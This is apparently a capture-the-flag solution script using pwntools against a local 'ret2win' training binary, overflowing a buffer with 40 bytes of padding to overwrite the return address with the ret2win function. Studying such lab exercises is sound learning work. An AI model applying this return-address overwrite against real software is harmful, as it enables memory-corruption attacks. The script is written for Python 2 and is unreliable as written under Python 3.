#!/usr/bin/env python
# Author : 0xsegf
# https://github.com/arjunshibu
# https://www.hackthebox.eu/home/users/profile/201892
from pwn import *

context.log_level = 'critical'

elf = ELF('./ret2win')

ret2win = p64(elf.symbols['ret2win']) #0x400811
exploit = "A" * 40 + ret2win

p = elf.process()

print p.recvuntil(">")
p.sendline(exploit)
p.interactive()
